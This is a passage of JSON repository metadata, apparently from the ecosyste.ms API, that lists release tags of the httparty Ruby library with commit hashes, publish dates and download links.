ull,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.16.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.4/manifests"},{"name":"v0.16.2","sha":"da1b1ad1d67be214b0e7a587edf84a4bc5a5e793","kind":"commit","published_at":"2018-03-30T13:54:32.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.16.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.16.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.16.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.2/manifests"},{"name":"v0.16.1","sha":"1a52a134c4aeef77668e56cbcf646d266d798389","kind":"commit","published_at":"2018-03-12T14:45:10.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.16.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.16.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.16.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.1/manifests"},{"name":"v0.16.0","sha":"8f6c6a6b95b5b404c82415663ee47ccc890ba9c9","kind":"commit","published_at":"2018-02-13T02:01:36.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.16.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.0/manifests"},{"name":"v0.15.7","sha":"2b0a21bccce29c57142af1958b375d0fe2ccd176","kind":"commit","published_at":"2018-02-07T15:57:23.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.7","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.7/manifests"},{"name":"v0.15.6","sha":"5b7797b2827610ef35c7f4ce72d144b1748f0ee8","kind":"commit","published_at":"2017-07-21T20:15:36.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.6","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.6/manifests"},{"name":"v0.15.5","sha":"7b5147c6885222af6b58ef6fa7c90ff4bb8b91f6","kind":"commit","published_at":"2017-05-19T02:01:50.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.5","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.5/manifests"},{"name":"v0.15.4","sha":"6406421ac3e0252482afcdf22e652bf5bea754fb","kind":"commit","published_at":"2017-05-17T18:59:35.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.4","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.4/manifests"},{"name":"v0.15.3","sha":"1c9b41140c72aa92b5c0f8792ee95f9ee0b142eb","kind":"commit","published_at":"2017-05-16T13:24:21.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.3","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.3/manifests"},{"name":"v0.15.2","sha":"e9f4624c1172120bbd39ddc636620a24fc9386b1","kind":"commit","published_at":"2017-05-12T18:53:21.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.2/manifests"},{"name":"v0.15.1","sha":"9d4a91fe62b4184baadc2a5fe77a07417653e23c","kind":"commit","published_at":"2017-05-12T13:12:26.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.1/manifests"},{"name":"v0.15.0","sha":"562e8ee20e7c256fb26ebd2b1eeb4751cb2abeb8","kind":"commit","published_at":"2017-05-11T14:43:18.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.0/manifests"},{"name":"v0.14.0","sha":"f4a3e84f36eb8f33b76b9b3ae4739887ab87f495","kind":"commit","published_at":"2016-07-25T14:18:39.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.14.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.14.0/manifests"},{"name":"v0.13.7","sha":"9d3dbc3852b294173d0d8309e59051491bf7d048","kind":"commit","published_at":"2015-09-23T12:08:40.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.7","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.7/manifests"},{"name":"v0.13.6","sha":"5b6f22d2d87419ea862107e9e7947e71b912869a","kind":"commit","published_at":"2015-09-21T01:24:30.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.6","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.6/manifests"},{"name":"v0.13.5","sha":"38ca4cf2e63d70df49575ceb0f3f669fbafd7739","kind":"commit","published_at":"2015-05-19T16:46:13.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.5","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.5/manifests"},{"name":"v0.13.4","sha":"923eadd1ba94ceb614f5edd45d9a3c0d353e5f21","kind":"commit","published_at":"2015-05-13T15:33:05.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.4","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.4/manifests"},{"name":"v0.13.3","sha":"107e69a6d1c8ceeb74e2e0a8b70f7b2bdbbd4a7a","kind":"commit","published_at":"2014-11-06T20:01:10.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.3","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.3/manifests"},{"name":"v0.13.2","sha":"4679c8314dcace10ed4b912b0a522d14bb05d21d","kind":"commit","published_at":"2014-11-03T15:17:44.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.2/manifests"},{"name":"v0.13.1","sha":"a570e54dd32e7c1ea16b072d0e10f552086ddbdb","kind":"commit","published_at":"2014-04-08T14:54:58.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.1/manifests"},{"name":"v0.13.0","sha":"3c01a60af29ae6efd9347df23a5866a87488aa14","kind":"commit","published_at":"2014-02-14T18:50:16.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.0/manifests"},{"name":"v0.12.0","sha":"7feb0287a0adae1676f4c6abc06414bae05f8b9b","kind":"commit","published_at":"2013-10-10T15:34:40.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.12.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.12.0/manifests"},{"name":"v0.11.0","sha":"1fde99ba8aa43372726804e5fe87d8b459baf59b","kind":"tag","published_at":"2013-04-10T13:43:57.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.11.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.11.0/manifests"},{"name":"v0.10.2","sha":"a320025dbc89e9c572603a47e9e228cbfa285a14","kind":"tag","published_at":"2013-01-27T01:32:34.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.10.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.10.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.10.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.10.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.10.2/manifests"},{"name":"v0.10.1","sha":"0f04ba868c92e932f6ad4a64825a95a9819063a3","kind":"tag","published_at":"2013-01-26T16:38:32.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.10.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.10.1/manifests"},{"name":"v0.10.0","sha":"3e2ec2bda1f948fbb1e4ffbf531c9ebbbff00795","kind":"tag","published_at":"2013-01-10T20:52:23.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.10.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.10.0/manifests"},{"name":"v0.9.0","sha":"d392c2d1cb4ca4413e28a7ef55dcede1fccd2dc6","kind":"tag","published_at":"2012-09-07T18:03:44.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.9.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.9.0/manifests"},{"name":"v0.8.3","sha":"1d6e2fa72a51288b3d53850cb1a1ebd60f47d9a3","kind":"tag","published_at":"2012-04-22T03:09:34.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.8.3","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.3/manifests"},{"name":"v0.8.2","sha":"d0ed57ea578655a3783df3732c3f349497fcc1f3","kind":"tag","published_at":"2012-04-12T17:06:11.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.8.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.2/manifests"},{"name":"v0.8.1","sha":"76a9f1b45b4a11f12dd7d99d6497ca381a5607e5","kind":"tag","published_at":"2011-10-05T15:28:32.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.8.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.1/manifests"},{"name":"v0.8.0","sha":"ebbd0cb9438547a2ad5cf998b63b234004dd5be6","kind":"tag","published_at":"2011-09-13T16:35:05.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.8.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.0/manifests"},{"name":"v0.7.8","sha":"68c254f9c1d90430ec7da25e941625ba9e989799","kind":"tag","published_at":"2011-06-07T01:38:12.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.8","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.8/manifests"},{"name":"v0.7.7","sha":"2d4c1bd34bd86dccf36616ea7540916a8adc1a09","kind":"tag","published_at":"2011-04-20T21:55:02.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.7","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.7/manifests"},{"name":"v0.7.6","sha":"d7e3079c597209d9870d329baa13cb74d73deb68","kind":"tag","published_at":"2011-04-16T18:45:18.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.6","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.6/manifests"},{"name":"v0.7.5","sha":"3ffad3570374014953fc5e36b528c8f838b78951","kind":"commit","published_at":"2011-04-15T22:32:09.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.5","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.5/manifests"},{"name":"v0.7.4","sha":"00a7ec9ce55a8e1aeeea2fde7d16c59821266122","kind":"commit","published_at":"2011-02-13T20:20:48.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.4","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.4/manifests"},{"name":"v0.7.3","sha":"d5b023c9054aaa308e012adb1220f8d1d065cdb9","kind":"commit","published_at":"2011-01-20T17:33:06.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.3","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.3/manifests"},{"name":"v0.7.2","sha":"802a4edddd70b898580ee12bec79a4459214a5fd","kind":"commit","published_at":"2011-01-20T06:41:37.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.2/manifests"},{"name":"v0.7.1","sha":"6946ecb4914bf65b685a0fd6bd4a122f1b2a4c01","kind":"commit","published_at":"2011-01-19T21:54:16.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.1/manifests"},{"name":"v0.7.0","sha":"f52142ffc5867ce42bf3048315959d84e7639d64","kind":"commit","published_at":"2011-01-18T22:05:49.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.0/manifests"},{"name":"v0.6.1","sha":"24892b873f88e16d86dca2dd5a96fcf4dacfcc77","kind":"commit","published_at":"2010-07-07T20:14:54.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.6.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.6.1/manifests"},{"name":"v0.6.0","sha":"d160df6c3b21a384cfcc68c0ffd23dc6c168b68d","kind":"commit","published_at":"2010-06-13T15:43:43.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.6.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.6.0/manifests"},{"name":"v0.5.2","sha":"03852d246bc1482150e92c23115e02e1de4930fb","kind":"commit","published_at":"2010-01-31T23:39:28.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.5.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.5.2/manifests"},{"name":"v0.5.1","sha":"c3cefc223aca504072951cabf17e17cd88a5780c","kind":"commit","published_at":"2010-01-31T03:31:23.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.5.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.5.1/manifests"},{"name":"v0.5.0","sha":"94601fe05efeb2fbd001e9830b4f9ec522ad2250","kind":"commit","published_at":"2009-12-08T02:59:52.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.5.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.5.0/manifests"},{"name":"v0.4.5","sha":"7443e42395e00ddaee362586471ae948eada4a76","kind":"commit","published_at":"2009-09-13T03:14:01.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.4.5","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.4.5","tag_url":"https://repos.e